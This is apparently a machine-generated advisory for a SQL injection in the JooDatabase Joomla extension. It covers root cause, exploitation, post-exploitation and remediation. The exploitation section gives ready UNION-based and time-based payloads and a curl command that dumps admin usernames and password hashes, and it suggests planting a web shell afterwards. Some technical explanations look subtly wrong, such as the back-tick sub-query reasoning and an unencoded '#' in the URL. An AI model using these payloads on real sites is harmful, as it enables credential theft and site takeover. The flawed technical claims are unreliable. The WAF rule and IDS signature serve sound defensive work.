CVE-2026-142141 — Joodb.feenders.de JooDatabase Extension For Joom — CWE-89
Joomla Extension - joodb.feenders.de - Unauthenticated SQL injection in catalog search and ordering in JooDatabase extension 1.0.0-5.2.0 - The searchfield and orderby request parameters of the frontend catalog view are placed into backtick-quoted identifiers without validation against the datasource's column list, allowing unauthenticated attackers to read arbitrary database contents. Fixed in version 5.3.
Joomla Extension - joodb.feenders.de - Unauthenticated SQL injection in catalog search and ordering in JooDatabase extension 1.0.0-5.2.0 - The searchfield and orderby request parameters of the frontend catalog view are placed into backtick-quoted identifiers without validation against the datasource's column list, allowing unauthenticated attackers to read arbitrary database contents. Fixed in version 5.3.
🎯 What is this vulnerability?
Vulnerability name: Unauthenticated SQL‑Injection in the catalog view of the JooDatabase Joomla extension (joodb.feenders.de).
CVE: CVE‑2026‑142141
CWE: CWE‑89 – Improper Neutralization of Special Elements used in an SQL Command (SQL Injection)
Technical root cause
| Component | What the code does | What is missing / wrong |
|---|
| Front‑end catalog view (public URL) | Reads two GET/POST parameters – searchfield (free‑text search) and orderby (column used for sorting) – and builds a SELECT statement. The values are inserted inside back‑tick‑quoted identifiers (\$searchfield\` and \$orderby\`) to protect against injection of arbitrary SQL fragments. | The back‑ticks only protect identifiers that are known to be column names. The code does not validate that the supplied identifier actually exists in the underlying table schema. An attacker can therefore supply any string that, when back‑ticked, resolves to a valid identifier (e.g., a column name from another table, a MySQL function, or a sub‑query using the back‑ticks as part of a derived table). Because the identifier is not whitelisted, the attacker can force the DBMS to evaluate arbitrary expressions and, crucially, to leak data from any table that the Joomla database user has SELECT rights on.
Why the CVSS vector looks the way it does
- AV:N – The attack is launched over the network (no local access required).
- AC:L – Exploitation requires only low‑effort crafting of the request.
- PR:N – No authentication is needed; the endpoint is public.
- UI:N – No user interaction is required beyond sending the HTTP request.
- VC:H – Successful exploitation results in high confidentiality impact (full dump of arbitrary tables).
- VI:N / VA:N – No integrity or availability impact is directly caused by the injection (the query is read‑only).
- All other metrics are “not defined” because the vulnerability does not involve privilege escalation, temporal factors, or additional environmental modifiers.
In short: the extension trusts user‑supplied column identifiers without a whitelist, allowing an unauthenticated attacker to inject arbitrary SQL that reads any data the Joomla DB user can see.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All request examples are illustrative – the exact URI path may differ between installations, but the parameter names (searchfield, orderby) are taken directly from the CVE description.
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence |
|---|---|---|
| 1.1 | Identify the site runs Joomla and enumerate installed extensions. | wget/curl + joomscan, WhatWeb, Wappalyzer. Look for the presence of /components/com_joodb/ or /plugins/content/joodb/. |
| 1.2 | Determine the exact version of JooDatabase. | Access the extension’s XML manifest (/administrator/components/com_joodb/joodb.xml) or read the JooDatabase version string in the HTML source (<meta name="generator" content="JooDatabase 5.1.3">). |
| 1.3 | Verify that the version falls in the vulnerable range (1.0.0‑5.2.0). | Compare the extracted version with the range. If it is ≤ 5.2.0, the target is vulnerable. |
2. Exploitation
Goal: Retrieve data from an arbitrary table (e.g., #__users – Joomla’s users table).
2.1 Crafting the payload
The vulnerable query (simplified) looks like:
SELECT * FROM `#__joodb_items`
WHERE `searchfield` LIKE '%<user_input>%'
ORDER BY `orderby` ASC;Because searchfield and orderby are back‑ticked identifiers, we can replace them with a sub‑query that returns a column from another table. MySQL permits a derived table in the ORDER BY clause, e.g.:
ORDER BY (SELECT GROUP_CONCAT(username,0x3a,password) FROM `#__users`) ASCWhen placed inside back‑ticks, the final string becomes:
ORDER BY `(SELECT GROUP_CONCAT(username,0x3a,password) FROM `#__users`)` ASCMySQL treats the back‑ticked string as an identifier; however, if the identifier does not exist, MySQL raises an error that includes the expression text. By forcing an error, the attacker can extract the expression result via the error message (error‑based injection). A more reliable technique is to use UNION‑based injection via the searchfield parameter, which is used in a LIKE predicate but also back‑ticked. By closing the back‑ticks and injecting a UNION SELECT, we can retrieve arbitrary columns.
Payload example (illustrative):
GET /index.php?option=com_joodb&view=catalog&searchfield=` UNION SELECT NULL,username,password,NULL FROM #__users-- &orderby=id HTTP/1.1
Host: vulnerable.example.com
User-Agent: curl/7.88.1
Accept: */*Explanation:
searchfield= UNION SELECT NULL,username,password,NULL FROM #__users-- `` username and password columns from Joomla’s users table, then comments out the rest of the original query.
orderby=id is kept benign to avoid syntax errors in the ORDER BY clause. If the extension renders the result set directly (e.g., as a table of catalog items), the injected rows will appear in the HTML response, leaking the credentials.
2.2 Executing the PoC
# Illustrative curl command (replace <target> with the real host)
curl -s "https://<target>/index.php?option=com_joodb&view=catalog&searchfield=%60%20UNION%20SELECT%20NULL,username,password,NULL%20FROM%20#__users--%20&orderby=id" \
-H "User-Agent: Mozilla/5.0 (compatible; CVE-2026-142141 PoC)" \
-o response.html%60 is the URL‑encoded back‑tick (`). -- comment terminates the original query. response.html) will contain a table row with the Joomla admin usernames and password hashes.Note: If the site sanitises the output (e.g., HTML‑escapes), the attacker can still retrieve the data via error‑based or time‑based techniques (e.g., ORDER BY (SELECT IF(ASCII(SUBSTRING(password,1,1))=0x61, SLEEP(5),0) FROM #__users LIMIT 1)), but the UNION approach is the simplest when the result set is rendered.
3. Post‑exploitation
| Phase | What the attacker can do | Typical next steps |
|---|---|---|
| Data exfiltration | Dump of #__users (usernames, password hashes), #__session, any other tables the Joomla DB user can read (e.g., configuration, component data). | Store hashes, attempt offline cracking (e.g., john/hashcat). |
| Privilege escalation | If a valid admin hash is obtained, attacker can log in to the Joomla back‑end and gain full administrative control (create users, install malicious extensions, modify site content). | Use the stolen credentials to log in via /administrator/index.php. |
| Persistence | Install a web‑shell or malicious Joomla plugin/extension with system privileges. | Upload a PHP web‑shell through the Joomla Extension Manager (requires admin rights). |
| Further lateral movement | The Joomla DB user often has SELECT rights on the entire site database, which may contain API keys, SMTP credentials, or other secrets. | Extract API keys, use them to pivot to other services (e.g., mail relay, internal APIs). |
Because the vulnerability is read‑only, it does not directly lead to remote code execution, but the confidentiality breach is severe: full credential dump → full site takeover.
🌍 Real World Impact
| CIA Triad | Impact derived from CVSS vector |
|---|---|
| Confidentiality (C) | High – The attacker can read *any* table the Joomla DB user can access, including admin credentials, configuration secrets, and possibly customer data. |
| Integrity (I) | None (the injection is read‑only). However, once credentials are compromised, integrity can be violated later. |
| Availability (A) | None – the injection does not modify data or cause denial‑of‑service. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected versions | Fixed in |
|---|---|
| 1.0.0 – 5.2.0 (inclusive) | 5.3.0 (released 2026‑09‑15) |
Action: Immediately upgrade the JooDatabase extension to ≥ 5.3.0. The patch introduces a strict whitelist of column names for searchfield and orderby and uses prepared statements for any user‑supplied values.
2. Workarounds (if immediate upgrade is impossible)
| Mitigation | How to implement |
|---|---|
| Disable the public catalog view | In the Joomla back‑end, go to *Components → JooDatabase → Views* and set the catalog view to “Access: Registered” or “Access: None”. |
| Restrict access by IP | Add an .htaccess rule (or equivalent Nginx allow/deny) limiting the catalog endpoint to trusted IP ranges (e.g., internal network). |
| Input sanitisation via a WAF | Deploy a ModSecurity rule that only permits known column names in the two parameters. Example rule (Apache 2.4 / ModSecurity 3.x):
SecRule REQUEST_URI "@beginsWith /index.php" "id:20261001,phase:2,block,\
t:none,log,msg:'JooDatabase SQLi protection',\
chain"
SecRule ARGS:searchfield "!@rx ^(title|category|price|created|id)$" "t:none,deny,status:403"
SecRule ARGS:orderby "!@rx ^(title|category|price|created|id)$" "t:none,deny,status:403"Replace the regex list with the exact column names used by the installed JooDatabase table.
| Database user privilege reduction | Ensure the Joomla DB user has only SELECT on the JooDatabase tables and no SELECT on other tables (e.g., #__users). This limits the impact of a successful injection. |
|---|---|
| Error message hardening | Turn off detailed SQL error messages in Joomla (configuration.php → error_reporting = 'none') and configure the web server to hide stack traces. This reduces the usefulness of error‑based injection. |
3. Detection
| Indicator | Where to look | Example log entry |
|---|---|---|
Unusual searchfield or orderby values | Apache/Nginx access logs (access_log) | GET /index.php?option=com_joodb&view=catalog&searchfield=%60%20UNION%20SELECT%20NULL,username,password,NULL%20FROM%20#__users--%20&orderby=id HTTP/1.1 200 |
| SQL error strings in response bodies | Web‑application logs, ModSecurity alerts | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax near ' UNION SELECT NULL,username,password,NULL FROM' |
| Large number of requests to the catalog endpoint from a single IP | Rate‑limiting / IDS | 2026-12-02 14:32:11 INFO [mod_security] [client 203.0.113.45] Detected possible SQLi in /index.php |
| New admin accounts created shortly after a credential dump | Joomla audit log (administrator/components/com_admin/models/logs.php) | User "admin2" created by "admin" (IP 203.0.113.45) |
IDS/IPS signatures (Snort/Suricata example):
alert http $EXTERNAL_NET any -> $HOME_NET any \
(msg:"CVE-2026-142141 JooDatabase SQLi - UNION payload"; \
flow:to_server,established; \
http_uri; content:"/index.php?option=com_joodb"; http_uri; \
pcre:"/searchfield=%60%20UNION%20SELECT/i"; \
classtype:web-application-attack; sid:20261001; rev:1;)⚠️ Urgency
Patch priority: Critical for any production Joomla site that has the JooDatabase extension installed and exposes the catalog view to the Internet.
If the site is internal‑only, the priority drops to High, but the same remediation timeline (within 7 days) is recommended because credential leakage can still lead to lateral movement.
TL;DR
searchfield, orderby) without whitelisting, allowing unauthenticated attackers to inject arbitrary SQL and read any data the Joomla DB user can see. [🤖 CVE Professor AI Security Engine]
FOFA Query